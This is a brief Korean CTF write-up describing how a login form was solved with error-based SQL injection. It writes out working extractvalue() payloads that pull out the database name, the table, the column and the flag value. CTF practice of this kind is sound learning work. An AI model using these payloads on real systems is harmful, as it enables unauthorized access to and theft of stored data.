
계정이 하나 주어지고 flag를 찾는 문제이다.

주어진 계정으로 로그인이 잘 되는 걸 확인한 후 sql injection point를 찾기 위해 normaltic' and '1'='1으로 로그인을 시도해 보면 정상적으로 로그인이 되었다.

잘못된 쿼리를 실행할 경우 에러가 화면에 출력되는 걸 알 수 있으므로 Error Based SQL Injection을 활용해서 flag를 찾아내면 될 거 같다. Error Based SQL Injection에 관해서는 이전 글에 자세하게 정리해 놨으므로 자세한 설명은 생략하겠습니다!

normaltic' and extractvalue('1', concat(0x3a,(select database()))) and '1'='1
해당 쿼리를 이용해서 database 이름을 추출했다. table 이름을 찾아보자!


normaltic' and extractvalue('1', concat(0x3a,(select table_name from information_schema.tables where table_schema = 'sqli_2'))) and '1'='1
normaltic' and extractvalue('1', concat(0x3a,(select table_name from information_schema.tables where table_schema = 'sqli_2' limit 0,1))) and '1'='1
limit을 입력하지 않고 쿼리를 실행했더니 table 값이 여러 개라 XPATH 에러가 아닌 다른 에러가 나와서 limit을 사용해 하나의 행만 출력하니 table 이름이 나오는 걸 볼 수 있다. 다음으로 column을 찾아보자!

normaltic' and extractvalue('1', concat(0x3a,(select column_name from information_schema.columns where table_name = 'flag_table' limit 0,1))) and '1'='1
flag라는 column을 찾았다 아마 안에 flag가 있을 것으로 추정된다 확인해 보자!

normaltic' and extractvalue('1', concat(0x3a,(select flag from flag_table limit 0,1))) and '1'='1
이전에 정리한 내용이랑 크게 다른게 없어서 쉽게 풀 수 있었던 것 같다!